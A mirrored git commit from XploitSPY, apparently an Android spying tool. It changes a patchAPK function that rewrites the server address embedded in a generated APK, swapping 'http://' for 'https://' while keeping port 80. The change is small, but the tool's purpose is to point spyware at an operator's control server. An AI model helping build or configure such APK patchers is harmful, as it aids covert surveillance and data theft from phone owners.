mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-24 21:52:01 +08:00
Fixed http bug
This commit is contained in:
parent
2916be3dc1
commit
4068c762c4
@ -24,8 +24,8 @@ function patchAPK(URI, PORT, cb) {
|
|||||||
// if (PORT < 25565) {
|
// if (PORT < 25565) {
|
||||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||||
if (err) return cb('File Patch Error - READ')
|
if (err) return cb('File Patch Error - READ')
|
||||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")),
|
var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")),
|
||||||
"http://" + URI + ":" + "80");
|
"https://" + URI + ":" + "80");
|
||||||
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
||||||
if (err) return cb('File Patch Error - WRITE')
|
if (err) return cb('File Patch Error - WRITE')
|
||||||
else return cb(false)
|
else return cb(false)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user